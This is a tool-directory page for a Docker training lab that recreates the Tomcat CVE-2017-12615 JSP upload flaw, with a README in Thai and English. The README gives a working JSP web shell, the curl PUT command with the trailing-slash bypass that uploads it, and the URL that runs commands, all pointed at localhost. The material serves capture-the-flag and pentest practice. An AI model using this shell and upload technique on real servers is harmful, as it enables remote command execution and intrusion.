Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-12615-Home-Lab — CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload Home Lab for Red Teaming, Penetration Testing | Kitploit
Tools/GitHubGitHub/netw0rk7/cve-2017-12615-home-lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationRed TeamingLabs & Practice
GitHub
netw0rk7/cve-2017-12615-home-lab

CVE-2017-12615-Home-Lab

CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload Home Lab for Red Teaming, Penetration Testing

View Repository
3711 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    353
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    288

Explore all tools

Browse our collection of tools

View all tools →
Share

ENGLISH BELOW

CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload

image

Lab นี้จำลองช่องโหว่ CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload
เกิดจากการตั้งค่า readonly=false ทำให้สามารถอัปโหลดไฟล์ผ่าน HTTP PUT ได้ รวมถึงไฟล์ .jsp ที่สามารถรันคำสั่ง (RCE)


image

Features

  • Apache Tomcat 7.0.79 (vulnerable)
  • ใช้ DefaultServlet override พร้อมค่า readonly=false
  • สามารถใช้ PUT Upload เพื่อวางไฟล์ .jsp ลงใน ROOT web directory
  • รองรับการ Execute คำสั่งผ่าน web shell
  • หน้าเว็บสไตล์ Industrial พร้อม internal note ที่ลืมลบ (Hint)
  • ระบบสร้าง flag_RANDOM.txt อัตโนมัติทุกครั้งที่ container start
  • ออกแบบสำหรับ CTF / Red Team / Pentest Training

Directory Structure

/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh

การใช้งาน (Run Container)

docker compose build
docker compose up -d

เปิดเว็บ:

http://localhost:8080/

วิธีทดสอบช่องโหว่ CVE-2017-12615

1) สร้างไฟล์ JSP payload

cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    String s;
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF

2) อัปโหลดไฟล์ด้วย PUT (ต้องมี / ท้ายชื่อไฟล์)

curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

3) เรียกใช้งาน webshell

http://localhost:8080/shell.jsp?cmd=id

Flag

เก็บไว้ใน:

/tmp/flag_RANDOM.txt

English Version — CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload

This lab simulates CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload, where Apache Tomcat’s DefaultServlet is misconfigured with:

readonly=false

This allows attackers to upload .jsp files via HTTP PUT, enabling remote code execution.


image

Features

  • Vulnerable Apache Tomcat 7.0.79
  • DefaultServlet override with readonly=false
  • PUT Upload → write arbitrary .jsp files into ROOT web directory
  • Supports command execution through JSP shell
  • Industrial-style landing page with a subtle internal hint
  • Auto-generated flag_RANDOM.txt at container startup
  • Fit for CTF, research, and exploit development

Exploitation Example

Upload a JSP shell

curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

Execute commands

http://localhost:8080/shell.jsp?cmd=id

Flag Location

/tmp/flag_RANDOM.txt

Disclaimer

For educational, research, and authorized penetration testing only.

Download Tool